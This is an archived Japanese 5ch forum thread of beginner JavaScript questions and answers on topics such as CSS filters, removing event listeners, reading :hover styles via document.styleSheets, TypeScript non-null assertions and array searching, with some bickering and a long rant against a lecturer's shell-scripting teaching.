とすれば$elには値が入りますが、setIntervalを実行する度にconstをセットするのが
どうもスマートでないように思います
JSの作法的に正しくて、スマートに書こうと思ったら
どう改善したら良いでしょうか? >>804
setIntervalの気持ち悪い書き方を直すだけ
setInterval(func,1000); スマートな書き方を聞くやつはスマートじゃないの法則 Firefox のコンソールで 0/-2 など 0を-xで割ると -0と出るのですが
プログラミングでは一般的なのでしょうか
0と出てきて欲しいんですが >>809
>プログラミングでは一般的なのでしょうか
そこそこ一般的 ありがとうございます。
よく考えれば今回は-0でも問題ありませんでしたのでそのまま処理しました。 https://developer.mozilla.org/ja/docs/Web/JavaScript
完全な初心者向け
JavaScript ガイド
中級者向け
上級者向け
リファレンス
ツールとリソース <style>
#test{
filter:sepia(50%);
}
</style>
<ul id="test">
<li><img src="./img1.png"></li>
<li><img src="./img2.png"></li>
</ul>
<input type="button" value="クリック" オンクリック="aaa()">
<スクリプト>
function aaa(){
var elm_list = document.querySelectorAll("#test li");
elm.list[1].style.filter = "sepia(0%)";
elm_list[1].style.border="Solid 3px #0000ff";
}
</スクリプト>
セピアを0にして画像を元の色にしたいんだけど色が変わりません
borderの方は線が表示されたのでセレクタは正しいと思うけど
どうしてでしょうか?どうすれば元の色にできますか? ulに対してsepia(50%)設定してるのにliを0%にしたところで変わらんよ
見た目は子孫に影響するけど、プロパティ値は継承しないのでdisplayやopacityなんかと一緒で親の効果を上書きできるわけではないよ
#test li {
filter: sepia(50%);
} 特定の要素から特定のイベントのイベントリスナーを削除することは可能でしょうか?
関数への参照を保持していない状態です。
具体的にはwindow.addEventListener("storage",function(){〜})の形で登録されているようなものです。
ピンポイントで上記だけ削除するのが難しいようであれば、window要素に紐づくstorageイベント全てを一括削除という形でも問題ないです。 chromeはできるかわからないけど
firefoxならublock originで
yahoo.co.jp##+js(aeld, storage,/functionの中身を正規表現で/)
でいけそうだけど >>820
要素のイベントを全て削除
elm.replaceWith(elm.cloneNode(true))
windowはアキラメロン イベント登録前に割り込めるならEventTarget.prototype.addEventListenerあたりをフックするとか addEventListenerをフックするのが一番現実的なんですかね?
しかし、要素に紐づくイベントリスナーや、管理している全てのイベントリスナーを出力するみたいな関数は存在しないんですね……
ありそうなものだけど、というか無いならどこでどうやって管理してるんだろう…… >>825
自分で書く部分ならもちろんそうするんですが、Chromeの拡張で特定のページの邪魔な動作をシャットアウトしたいんですよね。 X軸方向のスクロールを常に禁止にし、常にスクロールをゼロの位置にする事って可能でしょうか?
cssでスクロールバーを出さない方法はありますが、要素が自由に動いてしまうのでスクロールしてしまう事が多々あります >>822 に一票
クローンして差し替えることによりelmとその子孫のイベントリスナーが消え、その他の属性は残る >>826
キャプチャリングフェーズでstopPropagation #test li{
background:#0000ff;
}
#test li:hover{
background:#00ff00;
}
というcssがある場合hoverのbackgroundを取得したいんだけど
querySelectorAll("#test li:hover")とやっても取得できませんでした。
どうやればいいんですか? :hoverはquerySelectorAllで取得できません
ちなみにgetComputedStyle(element, ":hover")もできない どうやったらできるかを考えるのが、
あなたたちの仕事です hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
いまカーソルがのってるかを見たいなら
mouseoverイベントか対象にtransition入れておいてtransitionのイベントを見ればいいんじゃないかな >>832
<ul id="test">
<li>aaa</li>
<li>bbb</li>
</ul>
var element_list = document.querySelectorAll("#test li:hover");
var st = getComputedStyle(element_list[0]);
var val = st.getPropertyValue("background");
alert(val);
こうやっても取得できなかった
他に方法はないんですかね >>837
document.styleSheets クエリーセレクターにホバーは入れられないって言ってるだろ >>835
それは
var element = document.getElementById("test");
element.styleということですか? jQuery には、hover 時のイベントがあるけど >>841
>>835は意味不明
style要素といってるから、まずはstyle要素でスタイルを定義するところからなんじゃない? >>844
style要素だよな?
link要素で外部CSS定義していたら、style要素に書き換える必要がある
何のためにそんなことする?
内容からCSS記述をパースさせるのか? >>845
element.onmouseover = function(){
element.style.background = cssのhoverから取得したbackground;
}
というふうにしたかった >>846
それは「styleプロパティ」という
>>835は「styleエレメント」といっていたから意味不明だった
そして、styleプロパティでは>>831定義のCSSを取得出来ない >>Array.from(document.styleSheets).map(e=>Array.from(e.rules).map(e=>e.cssText).join()).join().includes(":hover")
←true F12 開発者ツールのコンソールで、実行した
style_sheets = document.styleSheets
css_rules = style_sheets[0].rules
css_rules[1].cssText
出力
'#test li:hover { background: rgb(0, 255, 0); }' そりゃdocument.styleSheetsで取得出来ないとは誰もいってないし 見苦しい言い訳は不要
負けを認めるか、潔く退場するかの2択 スクレイピングの勉強するのですが、下手するとF5アタックになるとかの法的リスクと回避法を重視している入門書ってありますか?
今の所やりたいことは、特定の市町村の5年分気温気象データを収集して自分用に加工
近所のコインランドリーの稼働データを集計して空いてる確率が高い時間帯を調べるの2つです
前者は膨大なデータを取得する必要があります
後者は10分から20分おきにアクセスすることになります リスクも回避方法もない
過去には問い合わせで許可を得た上で図書館のサーバーにスクレイピングをした人が捕まってる >>851
#test1 li:hover,#test2 li:hover{
background:#0000ff;
}
というような書き方の場合test1 li:hoverを取得できないやろ >>854
俺は>>838と>>843,845,847だが、何も間違ったことはいってないつもり
どの辺が言い訳なのか教えてくれ 俺からすると>>844,846が言い訳
「styleエレメントを見ればいい」に突っ込み入れてるのに、頓珍漢な返答で困った 結局言い回しに数レスかけて難癖付けたってだけの話ね 結局、正答は>>838と>>848だけ
他の回答はノイズでしかないでしょ >>860
言い回しだけでなく、ミスリードだと思うんだが、お前に分かるなら教えてくれ
>>835
> hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
「styleエレメント」の言い回しを修正したとして、hoverのプロパティをどうやって取得するんだ? >>855
5ch は、マルチポスト禁止!
同じ質問を、複数のスレや外部のサイトに書いてはいけない
プログラム板のスレに回答しておいた
【まず1嫁】くだすれPython(超初心者用) その54
https://mevius.5ch.net/test/read.cgi/tech/1623240344/867 >>862
また言い回しだね
プロパティ(の内容)ってなんで補完できないかな >>864
いやだから、それでどうやって実装する? 言い回しが悪ければ実装手段も示せない>>835の負けだな
言い訳が見苦しい 頭のおかしい人に以下のようなことを言われました
>>基本、スクレイピングは営業妨害との戦い。
>>どの本にも、そう書いてある。
>>スクレイピングを推奨する本はない
具体的な書籍名を教えてください
>>5ch は、マルチポスト禁止!
>>同じ質問を、複数のスレや外部のサイトに書いてはいけない
どこでそんなルールが決まっているのでしょうか? >>871
>>835と何の関係もないコードを出されましても 横からだが、>>835が>>848になるとは俺も読めんわ
どう解釈したらこのコードになるのかさっぱりわからん 分かるが、こんな難解コード書くならループ書くわ
スタイルシートを回って、ルール回って、全部をテキストとして結合して、:hover が含まれてるか判定 翻訳してみた
hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
↓
:hover疑似クラスを見たければ、document.styleSheetsを見ればいいんじゃないかな
間違ってる部分は他の正しそうな単語に置換していけば、いずれは正解に辿り着く
質問者は変換作業を頑張れ styleエレメントをdocument.styleSheetsと読みかえるところがエスパー力高いな それって CSSの優先順位や詳細度に継承おまけにimportantやなんか考慮するととてつもなくややこしくなるんじゃ >>878
コードから文章を読み取るのは出来そうだが、コードがない状態で文章からコードを作るのはまず無理だろうな >>878
hoverのプロパティ自体とあるから中身をa.style以外からとろうとすれば
document.styleSheets[x]ぐらいしかとるとこなさそうだけど >>881
正解を知ってる俺達が文章を改竄するのは難しくない
だが、もしも俺が正解を知らない質問者なら、document.styleSheetsには辿りつけない a.style以外からとるんだなとわかればぐぐればすぐわかるわな みんなすげーな
エスパー力5の俺にはJavaScriptは無理だと思った 質問者はstyleの定義まで知ってるのだから
たどりつけないことはないと思うけどなあ 0からググるのと
なにか入ってからググるのでは大違いだからな >>820なんですが、>>830の方法が今回やりたいことに一番適合してていい感じに止めたい処理止めれました
回答頂けた方々ありがとうございます 有名企業などのサイトのsourceを見てみると、大概見た事ない独自の?jsファイルが山盛りなんですけど、
あれってどういう事ですか?three.jsだとかそういうの直接使わないで組み替えたりするんですか?
あとなんであんなに山盛りscriptがあるのか、、読んでも全く勉強にならないしどう勉強したらいいかもわあからない、、 >>892
そういうのを自分で調べないから
いつまでたっても理解できないんだよ 一個一個ublockでブロックしていったら何をしているかわかるんじゃないの? >>822
横からですが、子要素のイベントが残ってたら便利そうと思って試してみたらら
全部外されてしまいましたw
自作関数なら参照リレー渡しが無難ですね 数学座標を画面座標に変換する関数はありますか?
あれば何を使えばいいんですか?
画面座標は左上が(0.0)で下方向に行くとがy座標が増加
数学座標は中心が(0,0)で下に行くとy座標がマイナスなので
これを画面座標に変換しないとちゃんと表示できないので
-単項演算子を(0 - x)と考えるか(-1 * x)と考えるか <div style="width:80%;height:500px;background:blue"></div>の
長方形の中心座標はどうやって求めればいいんですか?
長方形の左上を原点(0,0)とする。y座標は500/2=250ってすぐに出るけど
x座標が固定値じゃないのでわからん。 fixedで固定表示している要素を、一定量スクロールするとabsoluteにして、
JSでtopの座標を指定して、浮いている状態が解除されたように見せています。
この機能がAndroidのchromeだと、上スクロール時にだけ表示されるアドレスバーと
ツールバーによって、fixedからabsoluteに変わるスクロール量がずれてしまうようで、
意図しないタイミングで切り替わっています。
どうにか改善する方法はありませんでしょうか? javascriptからNode.jsで立てたサーバ内のsqliteファイルを操作する方法を知りたいです
検索するとNode.jsでしか使えないコマンドを使ったものしか見つかりません >>906
そうなのですが、サンプルコードに載ってるrequestがエラーを出力します
Node.jsだけで使える関数があるようで、単にjsファイルとして呼び出すだけではエラーを返されます node.jsがjavascriptだからと言ってもブラウザのスクリプトから直に操作はできない
サーバー側でデータベースを操作するためのwebインターフェースを作ってそれにあわせてfetchやwebsoketで対話
node以外のサーバーでのやり方と何も変わらない なんかすごいね
よくサーバー立てられたなと感心する んなこと言ったら世の中に失敗作じゃないものなんてほとんど無い。 >>908
> node.jsがjavascriptだからと言ってもブラウザのスクリプトから直に操作はできない
そういう意味じゃなくて、「javascript(Node.js)からNode.jsで立てたサーバ内のsqliteファイルを操作する方法」は既に出来てる、と伝えたかった
JavaScriptの実行環境が本人の口から出てこないので結局、伝わらなかったが そもそも「Node.jsで立てたサーバ内のsqliteファイル」があり得ないよな
「Node.jsでサーバ(ソフト)を立てたサーバ(ハード。物理か論理か知らんが)内のsqliteファイル」という意味かな 複数のNodeListを一つのNodeListとして変数に入れることは可能でしょうか?
Array.fromでArrayにしてからつなぐのが無難なんでしょうか >>911
nodeの開発者が失敗作と認めてるんだ どっちかというとdenoの方が失敗しそうだけどな。 >>915
NodeListには自身の編集用メソッドがない
1つにまとめて何をしたいのかによるが、DOM APIを使うならDocumentFragmentにしておけば、大体は対応できる ありがとうございます
DocumentFragment勉強してきます >>892
例えば、Ruby on Rails では、Node.js, Webpack, Babel, Bootstrap などを使っているから、
プロジェクトを作るだけで、node_modules 以下に、数千ものJavaScript のモジュールが入る。
React, Vue.js を使えば、さらにそれ用のモジュールも入る
>>905
例えば、Ruby on Rails では、プロジェクトを作って、モデル(テーブル)を定義すれば、
3大データベース、sqlite, mysql, postgresql でアクセスできる
さらに、scaffold という魔法の呪文を唱えれば、最初から、CRUD 操作もできる
だから最初から、Railsのようなフレームワークを使えばよい。
サーバー側は、Rails一択。それ以外は使われていない。
Node.js も分かりにくいだけ
詳しくは、YouTube で有名な、雑食系エンジニア・KENTA のサロンで聞いて下さい playerHeight = $("#player").height()!;
const top = position!.top;
とあるサイトに 上記のような コードがあり "!" の意味が分かりません。
これってjqueryなどの特定ライブラリの書き方なのでしょうか
参考になるサイトがあれば教えていただきたいです。 きっとそこで何かビックリすることがあったんじゃないかな TS は、Type Script
TypeScriptの変数の末尾の"!"(エクスクラメーション/感嘆符)の意味
https://qiita.com/zigenin/items/364264a6cf635b962542
この"!"の呼び方は、Non-null assertion operator
プログラマがコンパイラに対して、
この変数はundefinedやnullになることはありません、と教える記述
let a = f( ); // 戻り値の型は、string | undefined とする
return a! ;
ここで、f からの戻り値が、undefined, null ではないと、
プログラマーが絶対の確信が持てるのなら、
無理矢理、a! として、undefined, null になる可能性を除去して、
string型だけであると、コンパイラに教えることができる
このように、コンパイラを欺いたら、後で大きなしっぺ返しを食らうかも valueは値みたいなイメージで使うことが多いと思うのですが、valueの変わりにelementとしてる人を見かけます。
これってどう違うのでしょうか 問答無用にElementのインスタンスだろうそれは、と
自分はvalueは数値くらいにしか使ってないな
文字列はxxStrとか、日付はxxDtとか >>930
さすがに書いた人に聞いてくれ、としか
>>923といい、エスパー案件ばかりなんだが、なぜ証拠となるコードも出さずに当てずっぽうの回答をさせるんだ? https://test.wikinist.info/?page_id=51
フィルタ作ってます。
MemとWomenにチェックが入ってる時はその中からフィルタしたいと思ってるんですがどうしたらいいでしょうか?
現状はチェックした奴が全て表示されます。 >>933
複数条件でフィルタリングすると該当なしってのもあり得るけど
その場合どうなる仕様なの?何も表示なし? >>934
Menにチェックが入っていてWomenの値が入ってる人をチェックした場合は表示なしって感じにしたいです
最初はリターンをこんな感じで書いてましたが何も表示されませんでした。
return filterArr.find(element => ((element.el === item.values().name) || (element.el === item.values().city)) && (element.el === item.values().sex)); 雰囲気的にmen womenが両方チェックありと両方チェックなしの場合は同じ扱い?
実現したい仕様があやふやでよく分からんのだが >>933でコードが出たが、今度は要求仕様がエスパー案件になったな men womeonの両方がチェックと両方チェックなしは同じ扱いということにしたいと思ってます。 小手先でどうにかならないか考えたけど結局汚くなった
sexだけ扱い違うのにname,cityと一律並べてる時点で無理があるぞ
https://jsfiddle.net/5zeorj9u/ >>929
ありがとうございます。
わかりました。 >>939
ありがとうございます。
最後の部分で何と何を&&で評価しているのかあまり理解できないのでconsole logで確認したいと思ってますが
1行のアロー演算子使ってる場合ってどうやって間にconsole logをいれたらいいのでしょうか? >>941
カンマ演算子で実現可能だけど無理やり1行にする意味は無い https://jsfiddle.net/raion2542/q10vxbde/14/
https://jsfiddle.net/raion2542/eoLtsd5b/8/
1つ目はlist.js 2つ目はTabulator.jsを使っています。
この2つを共存させることはできますでしょうか?
「〜でソート」を押してソートできるかどうかです
2つ目の方のJSの一番下に
const options = {
valueNames: ['name','corporation','callsign','frequency','power'],
};
const featureList = new List('sample-list', options);
を書き込みましたがうまくいきませんでした 昔Ajaxというのが流行ったと思うのですが今も使われているんでしょうか?
あまり聞かない気がするのですが死語で名前が変わったりしました? >>945
今も使ってるとこでは使ってるけど、Fetch APIも結構こなれてきた jQueryのAPIに名前が残ってるけど
今の時代JSが通信するなんて当たり前なので一々ajaxとは呼ばない >>946-947
説明ありがとうございます。今はFetch API?というのを使うのですか?
授業でこれを使えと言われたのですが今もこのコード使っても問題ないでしょうか?
// ===== Ajaxのお約束オブジェクト作成================================
// [入力]
// ・なし
// [出力]
// ・成功時: XmlHttpRequestオブジェクト
// ・失敗時: false
function createXMLHttpRequest(){
if(window.XMLHttpRequest){return new XMLHttpRequest()}
if(window.ActiveXObject){
try{return new ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}
try{return new ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(e){}
try{return new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
}
return false;
}
:
:
xhr = createXMLHttpRequest();
if (xhr) {
sUrl_to_get = sUrl_ajax;
sUrl_to_get += '?zipcode='+sZipcode;
sUrl_to_get += '&dummy='+parseInt((new Date)/1); //(*1)ブラウザcache対策
xhr.open('GET', sUrl_to_get, true);
xhr.onreadystatechange = function(){zip2addr_callback(xhr, sAjax_type)};
xhr.send(null);
} // *1: GETメソッド時はURL文字列に、POSTメソッド時はsendの文字列につける この本、2019 年8 月12 日初版発行らしいです。 FetchではなくXMLHttpRequest使うにしても
もうIE6以下用のActiveX用の部分はいらんでしょ xhrにActiveX…
IE亡き令和の世では仕事にも個人サイトにも使えないと思うがお勉強にはなる…のかな? >>950-951
ソースコードはこれですねー
https://github.com/ShellShoccar-jpn/zip2addr/blob/master/public_html/zip2addr.js
この本に書かれていますー
初めてのPOSIX原理主義 超進化を遂げたシェルスクリプトを学ぶ15回の講義
https://richlab.org/coterie/lpf.html
金沢大学の講義「シェルスクリプト言語論」で教えてる内容ですー
JavaScriptライブラリを使うと、ブラウザの独自機能を使っている恐れがあって
将来動かなくなる恐れがあるから、jQueryもReactも使うな。自分でかけ。
たった数十行のコードで書けるって
こういうコードを書けと学生に教えてるんですー
他にもgitを使うな、ファイルコピーで管理しろとか教えてますー ゴミクソ教師だな
絶対に就職できないわ
ActiveXってIEサポート終了が来月なのに何考えてるんだ
サポート終了も何もオープンソースなんだから世界中でサポートしてるようなものだろ
地球から出ていくなら全部自前でいいだろうがそんな考え方で独自路線で育った学生が就職できるのかね >>953
ゴミクソ教師? USPというユニケージというシェルスクリプトで
業務システムを開発しろっていう方法論を広めている会社の社員ですよ?
どんな人か?こんな人です。
「口やかましい少数派」に翻弄されるQiitaサポートは無能である
https://qiita.com/richmikan@github/items/8831c97598cc095e2b95
品位が問われるAdvent Calendar ― シェルスクリプトはどこでも動く!
https://qiita.com/richmikan@github/items/5f53a14a79874d56a2ff
あ、Twitterとか見ないようにねw >>955
あんたが学生なのかと思った
リンクが気持ち悪いからほぼ読まなかったがお前にとって何が重要なのかを考えたほうがいい >>948
わかってて質問してんだろ
お前の遊びに俺らを巻き込むな >>948
ActiveXObject, xhr.onreadystatechange とか使わない
Ajax は、jQuery か、
今は、axios が多い ただのUSP製品の宣伝をしてるだけの授業
https://richlab.org/j/2v62
・usp Tukubai(通称Tukubai)コマンド
・シェルスクリプトによるシステム開発を補完・強化するために作られた独自UNIXコマンド
・シェルスクリプトを、単なるサーバー管理言語から、アプリケーション開発言語へと進化させる。
・データ整理が特に得意で、RDBを過去のものにする処理速度を誇る。(参照→ 「スピードがすべてを駆逐する」)
・一部は、無償版(Open usp Tukubai)も公開されている
usp Tukubaiなんか世界中で「使われていません」
RDBよりも「圧倒的に遅く」「クラウドで使えません」
SQLは広く使われており、どこでも使えます 自己矛盾する授業内容
https://richlab.org/j/2d62
・一人(一社)が所有・支配しているものは
標準語ではない。
・その人の意向で、使い方のルールが
変わってしまう恐れがある。
⇒話者(ユーザー)が翻弄される
・いざという時の代替品がない。
⇒サポート終了や欠陥発覚で、話者(ユーザー)の
逃げ道がなくなる。
↑それはUSP研究所が独自で開発している
プロプライエタリなコマンドのことです!
SQLといった標準規格が存在するものは「標準語」です
オープンソースは移植性が高く実際にどこでも動いている POSIX原理主義者「POSIXではsleepでミリ秒の指定ができない?
だから私が作った。https://qiita.com/richmikan@github/items/65a55a405874e655fbac
すごいだろう?ないものは作ればいい!」
いやでもGNUもBSDでもsleepコマンドはミリ秒の指定できますよね?
POSIX原理主義者「それはPOSIXじゃない!使ってはならない。
だから私は自分で作った!それを使え」
GNUやBSDのsleepコマンドを使いますよw POSIX原理主義者「UNIX哲学にはどうしてもC言語じゃなきゃダメな局面がなければすべきではないと書いてある」
書いてませんよ?
POSIX原理主義者「すべてのPOSIXコマンドは、どうしてもC言語じゃなければ行けないから、C言語で書いてある!」
basename、dirname、cut、true、false、head、tail、nl、あたりは
シェルスクリプトで簡単にかけますよ
POSIX原理主義者の理論はぜ〜んぶ適当
居酒屋のおっさんの自分語りレベル POSIX原理主義者「yesコマンドは素晴らしいコマンドだ。その本当に意義を理解できるのはUNIX哲学を理解してる我々のみ!」
うん、でもyesコマンドってPOSIXコマンドじゃないですよね?
POSIX原理主義者「え?」
え?じゃなくてyesコマンドは、あんたの理論では使ってはダメなの
POSIX原理主義者「C、C言語で書けば、」
yesコマンドは使えないコマンドだからPOSIXコマンドじゃないの
POSIX原理主義者「yesコマンドはこのような使い方が、」
それはあんたが適当に思いついただけの変な使い方。本来の用途じゃないの。移植性もないの
POSIX原理主義者「自分で再発明することの素晴ら」
あんたが作ったものは使えないし、あんたが作ったものよりGNUやBSDの信頼性があるものを使う POSIX原理主義者「POSIXコマンドだけを使っていれば10年後もそのまま動く!どこでも動く!POSIXコマンドが改定されることはない!」
でもtarコマンド削除されましたよね?
POSIX原理主義者「POSIXコマンドはcompressだ!compressを使え!」
でもLinuxにインストールされてないんですが?
POSIX原理主義者「Linuxは完全にPOSIXに準拠してない!POSIXに準拠している環境ならどこでも動く!」
そのPOSIXに準拠している環境ってなんですか?
POSIX原理主義者「商用UNIXとmacOSだ!(どやぁ)」
じゃあ、どこでも動くんじゃなくてPOSIXに準拠してる商用UNIXとmacOSだけで動く
LinuxはPOSIXに準拠してないから動かないって言わなきゃね POSIX原理主義者「LinuxもだいたいPOSIXに準拠してるからだいたい動く。動かないものを避ければだいたい動くはずだ」
すっげー適当
理論のレベルじゃない
ただの思いつきで言ってるだけ SQLと同じことをするためにTukubaiという独自開発した
ライブラリに依存してくださいというのはおかしい
Tukubaiはプロプラライセンスで提供されているから会社が潰れたら共倒れじゃん
オープンソースのもあるけどPythonで作られてるからPythonがバージョンアップしたら終わりじゃん
他人が作ったライブラリに依存するのはダメだけど自分の会社が作ったライブラリ
に依存するのはOKという態度はダブルスタンダードだと思うんだよね >>955
軽く見た感想
@richmikan@githubは利己主義の塊のような人だなと
コメントを削除されたのは自業自得な感じ 質問です
const A = ["みかん","いちご","トマト","レモン"];
let test = false;
for(let i=0; i<A.length; i++){
if(A[i] == "キャベツ"){
test = true;
break;
}
}
if(!test){
alert("キャベツはありませんでした");
}
というスクリプト作ってますが、配列に自分の探したい要素が無かった時実行するというスクリプトって他に良いやり方ありますか? includesない時代はfindIndex使って戻り値を<0で比較してたっけ このスレ、回答来てない奴のなりすましが多いんだが、承認欲求強い奴が多いのかね × 回答来てない奴のなりすまし
○ 回答してない奴のなりすまし 度々すみません、再び質問ですが
質問です
const A = [{name:"みかん"},"{name:いちご"},{name:"トマト"},{name:"レモン"}];
let test = false;
for(let i=0; i<A.length; i++){
if(A[i].name == "キャベツ"){
test = true;
break;
}
}
if(!test){
alert("キャベツはありませんでした");
}
とこの場合はindexOfやincludes使えませんよね?
他にも便利なメソッドが存在したりするのでしょうか? A.find( ({ name }) => name === 'キャベツ' )
はどうよ >>978
上手くいきました!
これが最適ですね! なるほどfindは発見したオブジェクトを返してsomeはtrue falseで返してくれるんですね
もしかするとindexOfみたいに発見したらindexを、無かったら-1を返すようなものもあります? >>982
>>985の通りだが、ここまで来たら追加質問は、Array.prototypeのメソッドを自分で探してくれ
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Array
console.dir(Array.prototype)でメソッド名を見て一つずつぐぐるとか、方法はあるだろ >>986
古い考えやなー
わからないことは自分で調べるより知ってる人に聞いたほうが何倍もはやいやろ chromeのデベロッパーツールのSourcesからimgフォルダの中の画像全部保存したいのだけど一括で保存できる方法ないでしょうか?
一つ一つはできるのですが数が多いので一括でやりたいです。 >>990
html質問スレに回答した
こっちにマルチしてるんならjsだからこっちに回答すべきだったな… >>991
古い考えやなー
わからないことはマルチポストしたほうが何倍もはやいやろ return filterArr.find(element => (element === item.values));
elementとitem.valuesが同じ値だったら表示するというものですが文字列を含むにする場合はどうしたらいいですか? >>933からの続きなんだろうけど
すまんが俺のエスパー力が足りないようだ >>995
お前上のほうでエスパー力って言ってる奴と同じやつやろ
能力ある奴はわからない質問があれば質問返してくれるんだよね。
つまり無能は黙ってろ 知らんけどちょっと上に出てるincludes使えばいいんじゃないの? 単純に考えればそうなんだけどvaluesが文字列とは思えんし
ぶっちゃけよく分からん >>998
だkらエスパーは黙ってろって
全部わからんしか言ってないやつやろ このスレッドは1000を超えました。
新しいスレッドを立ててください。
life time: 2579日 1時間 15分 36秒 5ちゃんねるの運営はプレミアム会員の皆さまに支えられています。
運営にご協力お願いいたします。
───────────────────
《プレミアム会員の主な特典》
★ 5ちゃんねる専用ブラウザからの広告除去
★ 5ちゃんねるの過去ログを取得
★ 書き込み規制の緩和
───────────────────
会員登録には個人情報は一切必要ありません。
月300円から匿名でご購入いただけます。
▼ プレミアム会員登録はこちら ▼
https://premium.5ch.net/
▼ 浪人ログインはこちら ▼
https://login.5ch.net/login.php レス数が1000を超えています。これ以上書き込みはできません。